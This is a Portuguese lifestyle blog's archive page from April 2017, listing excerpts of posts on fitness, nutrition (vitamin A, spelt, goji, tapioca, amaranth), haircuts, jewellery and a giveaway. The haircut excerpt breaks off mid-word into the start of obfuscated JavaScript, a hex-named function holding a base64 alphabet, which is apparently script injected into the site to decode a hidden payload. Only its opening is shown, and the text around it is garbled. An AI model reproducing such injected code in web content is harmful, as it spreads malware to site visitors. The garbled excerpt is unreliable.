Abr 28, 2017 | Saúde e bem estar
5 Exercícios para ter uns braços mais firmes e tonificados Por vezes as gordurinhas indesejadas acumulam-se nas zonas do nosso corpo mais difíceis de tonificar, é ou não é? Mas a verdade é que para tudo há solução e hoje trago-lhe 5 exercícios para ter uns braços...
Abr 27, 2017 | Dicas úteis, Saúde e bem estar
Dicas saudáveis -10 Benefícios da vitamina A Faço questão de lhe dar dicas saudáveis. Hoje venho falar-lhe do benefícios da vitamina A. Sabe em que alimentos é que a pode encontrar? Eu ajudo! A vitamina A encontra-se nos óleos de fígado de peixe, em suplementos,...
Abr 27, 2017 | Estilo e beleza
Brilhe em todos as idades – 5 cortes de cabelo que vai querer usar O corte de cabelo certo pode fazer uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Abr 24, 2017 | Estilo e beleza, Passatempos, Sugestões
Mega Passatempo Facebook e Instagram Teresa Guilherme Actualização 3/05/2017: A vencedora desta passatempo é Tatiana Gonçalves. Parabéns! Já tinha saudades dos meus passatempos? Eu também já tinha saudades de dar coisinhas boas! Para comemorar os 555 MIL Seguidores do...
Abr 20, 2017 | Equilíbrio, Saúde e bem estar
Espelta, a aliada da dieta + receita de pizza para toda a família A primeira pergunta é: já conhece este grão fantástico? A espelta ou trigo vermelho é um grão primo do trigo, digamos assim, porém é muito mais rico em nutrientes e cheio de benefícios para a nossa...
Abr 19, 2017 | Estilo e beleza
As 10 jóias que vai querer ter esta Primavera/ Verão As estações mudam e com Primavera chegaram as novas tendências. Se gosta de estar na moda e seguir as últimas tendências, fique bem atento àquilo que lhe vou mostrar hoje. Não precisa de seguir todas à risca,...
Abr 18, 2017 | Saúde e bem estar
Benefícios das bagas goji + receita pequeno almoço saudável Estou sempre atenta ao que de mais saudável existe para incluir na minha alimentação. E depois de comprovar a qualidade e os resultados, não hesito em partilhar. Hoje dou-lhe a conhecer 10 benefícios das...
Abr 14, 2017 | Dicas úteis, Saúde e bem estar
7 benefícios da tapioca para a nossa saúde Hoje vou falar-lhe de um alimento originário do Brasil e que já tem vindo a conquistar cada vez mais fãs por todo mundo. Já conhece a tapioca? Os benefícios são impressionantes. Saiba tudo aqui. A tapioca é a fécula...
Abr 13, 2017 | Saúde e bem estar
Dicas saudáveis – Benefícios do amaranto + receita de bolo de banana Aposto que já se habituou às minhas dicas saudáveis e eu continuo a adorar dar-lhe a conhecer superalimentos que têm muitos e variados benefícios. Hoje falo-lhe do amaranto. Já ouviu falar?...
